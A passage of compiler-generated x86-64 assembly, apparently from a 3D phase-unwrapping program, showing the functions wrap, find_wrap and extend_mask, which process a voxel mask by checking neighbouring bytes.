mov rax, QWORD PTR -16[rbp]
movzx edx, BYTE PTR [rax]
mov rax, QWORD PTR -32[rbp]
mov BYTE PTR 24[rax], dl
mov rax, QWORD PTR -8[rbp]
movzx edx, BYTE PTR [rax]
mov rax, QWORD PTR -32[rbp]
mov BYTE PTR 25[rax], dl
mov rax, QWORD PTR -32[rbp]
mov rdx, QWORD PTR -32[rbp]
mov QWORD PTR 40[rax], rdx
mov rax, QWORD PTR -32[rbp]
mov rdx, QWORD PTR -32[rbp]
mov QWORD PTR 48[rax], rdx
mov rax, QWORD PTR -32[rbp]
mov QWORD PTR 56[rax], 0
mov rax, QWORD PTR -32[rbp]
mov DWORD PTR 32[rax], 0
mov rax, QWORD PTR -32[rbp]
mov DWORD PTR 28[rax], -1
add QWORD PTR -32[rbp], 64
add QWORD PTR -24[rbp], 8
add QWORD PTR -16[rbp], 1
add QWORD PTR -8[rbp], 1
add DWORD PTR -36[rbp], 1
.L47:
mov eax, DWORD PTR -36[rbp]
cmp eax, DWORD PTR -84[rbp]
jl .L48
add DWORD PTR -40[rbp], 1
.L46:
mov eax, DWORD PTR -40[rbp]
cmp eax, DWORD PTR -88[rbp]
jl .L49
add DWORD PTR -44[rbp], 1
.L45:
mov eax, DWORD PTR -44[rbp]
cmp eax, DWORD PTR 16[rbp]
jl .L50
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size initialiseVOXELs, .-initialiseVOXELs
.globl wrap
.type wrap, @function
wrap:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -24[rbp], xmm0
movsd xmm0, QWORD PTR -24[rbp]
comisd xmm0, QWORD PTR .LC0[rip]
jbe .L60
movsd xmm0, QWORD PTR -24[rbp]
movsd xmm1, QWORD PTR .LC1[rip]
subsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
jmp .L54
.L60:
movsd xmm0, QWORD PTR .LC2[rip]
comisd xmm0, QWORD PTR -24[rbp]
jbe .L61
movsd xmm1, QWORD PTR -24[rbp]
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
jmp .L54
.L61:
movsd xmm0, QWORD PTR -24[rbp]
movsd QWORD PTR -8[rbp], xmm0
.L54:
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size wrap, .-wrap
.globl find_wrap
.type find_wrap, @function
find_wrap:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -24[rbp], xmm0
movsd QWORD PTR -32[rbp], xmm1
movsd xmm0, QWORD PTR -24[rbp]
subsd xmm0, QWORD PTR -32[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
comisd xmm0, QWORD PTR .LC0[rip]
jbe .L71
mov DWORD PTR -12[rbp], -1
jmp .L65
.L71:
movsd xmm0, QWORD PTR .LC2[rip]
comisd xmm0, QWORD PTR -8[rbp]
jbe .L72
mov DWORD PTR -12[rbp], 1
jmp .L65
.L72:
mov DWORD PTR -12[rbp], 0
.L65:
mov eax, DWORD PTR -12[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size find_wrap, .-find_wrap
.globl extend_mask
.type extend_mask, @function
extend_mask:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -72[rbp], rdi
mov QWORD PTR -80[rbp], rsi
mov DWORD PTR -84[rbp], edx
mov DWORD PTR -88[rbp], ecx
mov DWORD PTR -92[rbp], r8d
mov QWORD PTR -104[rbp], r9
mov eax, DWORD PTR -84[rbp]
mov DWORD PTR -44[rbp], eax
mov eax, DWORD PTR -88[rbp]
mov DWORD PTR -40[rbp], eax
mov eax, DWORD PTR -92[rbp]
mov DWORD PTR -36[rbp], eax
mov eax, DWORD PTR -84[rbp]
imul eax, DWORD PTR -88[rbp]
mov DWORD PTR -32[rbp], eax
mov eax, DWORD PTR -84[rbp]
imul eax, DWORD PTR -88[rbp]
mov DWORD PTR -28[rbp], eax
mov eax, DWORD PTR -84[rbp]
imul eax, DWORD PTR -88[rbp]
mov edx, DWORD PTR -92[rbp]
imul eax, edx
mov DWORD PTR -24[rbp], eax
mov eax, DWORD PTR -24[rbp]
mov DWORD PTR -20[rbp], eax
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov eax, DWORD PTR -84[rbp]
cdqe
add rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -72[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov eax, DWORD PTR -84[rbp]
cdqe
add rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -80[rbp]
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -56[rbp], 1
jmp .L74
.L80:
mov DWORD PTR -52[rbp], 1
jmp .L75
.L79:
mov DWORD PTR -48[rbp], 1
jmp .L76
.L78:
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov rax, QWORD PTR -16[rbp]
sub rax, 1
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov rax, QWORD PTR -16[rbp]
add rax, 1
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -44[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -44[rbp]
cdqe
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -44[rbp]
cdqe
not rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, 1
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov eax, DWORD PTR -44[rbp]
cdqe
add rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov eax, DWORD PTR -44[rbp]
cdqe
add rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov eax, DWORD PTR -44[rbp]
cdqe
add rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -32[rbp]
cdqe
not rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, 1
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
cdqe
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L77
mov rax, QWORD PTR -8[rbp]
mov BYTE PTR [rax], 0
.L77:
add QWORD PTR -8[rbp], 1
add QWORD PTR -16[rbp], 1
add DWORD PTR -48[rbp], 1
.L76:
mov eax, DWORD PTR -84[rbp]
sub eax, 1
cmp DWORD PTR -48[rbp], eax
jl .L78
add QWORD PTR -8[rbp], 2
add QWORD PTR -16[rbp], 2
add DWORD PTR -52[rbp], 1
.L75:
mov eax, DWORD PTR -88[rbp]
sub eax, 1
cmp DWORD PTR -52[rbp], eax
jl .L79
mov eax, DWORD PTR -84[rbp]
add eax, eax
cdqe
add QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -84[rbp]
add eax, eax
cdqe
add QWORD PTR -16[rbp], rax
add DWORD PTR -56[rbp], 1
.L74:
mov eax, DWORD PTR -92[rbp]
sub eax, 1
cmp DWORD PTR -56[rbp], eax
jl .L80
mov rax, QWORD PTR -104[rbp]
mov eax, DWORD PTR 8[rax]
cmp eax, 1
jne .L81
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov eax, DWORD PTR -84[rbp]
cdqe
add rdx, rax
mov rax, QWORD PTR -72[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov eax, DWORD PTR -84[rbp]
cdqe
add rdx, rax
mov rax, QWORD PTR -80[rbp]
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -56[rbp], 1
jmp .L82
.L86:
mov DWORD PTR -52[rbp], 1
jmp .L83
.L85:
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov rax, QWORD PTR -16[rbp]
add rax, 1
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -44[rbp]
cdqe
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -44[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov rax, QWORD PTR -16[rbp]
sub rax, 1
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, 1
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -44[rbp]
add eax, eax
cdqe
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -32[rbp]
cdqe
not rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov eax, DWORD PTR -44[rbp]
cdqe
add rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
cdqe
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov eax, DWORD PTR -44[rbp]
cdqe
add rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov eax, DWORD PTR -44[rbp]
add eax, eax
cdqe
add rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, 1
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov eax, DWORD PTR -44[rbp]
cdqe
add rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -44[rbp]
add eax, eax
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L84
mov rax, QWORD PTR -8[rbp]
mov BYTE PTR [rax], 0
.L84:
mov eax, DWORD PTR -44[rbp]
cdqe
add QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -44[rbp]
cdqe
add QWORD PTR -16[rbp], rax
add DWORD PTR -52[rbp], 1
.L83:
mov eax, DWORD PTR -88[rbp]
sub eax, 1
cmp DWORD PTR -52[rbp], eax
jl .L85
mov eax, DWORD PTR -44[rbp]
add eax, eax
cdqe
add QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -44[rbp]
add eax, eax
cdqe
add QWORD PTR -16[rbp], rax
add DWORD PTR -56[rbp], 1
.L82:
mov eax, DWORD PTR -92[rbp]
sub eax, 1
cmp DWORD PTR -56[rbp], eax
jl .L86
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov eax, DWORD PTR -84[rbp]
add eax, eax
cdqe
add rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -72[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov eax, DWORD PTR -84[rbp]
add eax, eax
cdqe
add rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -80[rbp]
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -56[rbp], 1
jmp .L87
.L91:
mov DWORD PTR -52[rbp], 1
jmp .L88
.L90:
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, 1
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov rax, QWORD PTR -16[rbp]
sub rax, 1
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -44[rbp]
cdqe
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -44[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -44[rbp]
cdqe
not rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov rax, QWORD PTR -16[rbp]
add rax, 1
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -44[rbp]
add eax, eax
cdqe
mov edx, 1
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
add eax, eax
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov eax, DWORD PTR -44[rbp]
cdqe
add rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
cdqe
not rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov eax, DWORD PTR -44[rbp]
cdqe
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov eax, DWORD PTR -44[rbp]
cdqe
add rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
add edx, edx
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -44[rbp]
cdqe
mov edx, DWORD PTR -32[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, 1
sub rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L89
mov rax, QWORD PTR -8[rbp]
mov BYTE PTR [rax], 0
.L89:
mov eax, DWORD PTR -44[rbp]
cdqe
add QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -44[rbp]
cdqe
add QWORD PTR -16[rbp], rax
add DWORD PTR -52[rbp], 1
.L88:
mov eax, DWORD PTR -88[rbp]
sub eax, 1
cmp DWORD PTR -52[rbp], eax
jl .L90
mov eax, DWORD PTR -44[rbp]
add eax, eax
cdqe
add QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -44[rbp]
add eax, eax
cdqe
add QWORD PTR -16[rbp], rax
add DWORD PTR -56[rbp], 1
.L87:
mov eax, DWORD PTR -92[rbp]
sub eax, 1
cmp DWORD PTR -56[rbp], eax
jl .L91
.L81:
mov rax, QWORD PTR -104[rbp]
mov eax, DWORD PTR 12[rax]
cmp eax, 1
jne .L92
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -72[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -80[rbp]
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -56[rbp], 1
jmp .L93
.L97:
mov DWORD PTR -48[rbp], 1
jmp .L94
.L96:
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov rax, QWORD PTR -16[rbp]
sub rax, 1
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov rax, QWORD PTR -16[rbp]
add rax, 1
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -44[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -32[rbp]
cdqe
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -32[rbp]
cdqe
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, -1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -44[rbp]
cdqe
not rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov eax, DWORD PTR -44[rbp]
cdqe
add rax, rdx
lea rdx, 1[rax]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L95
mov eax, DWORD PTR -44[rbp]
cdqe
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
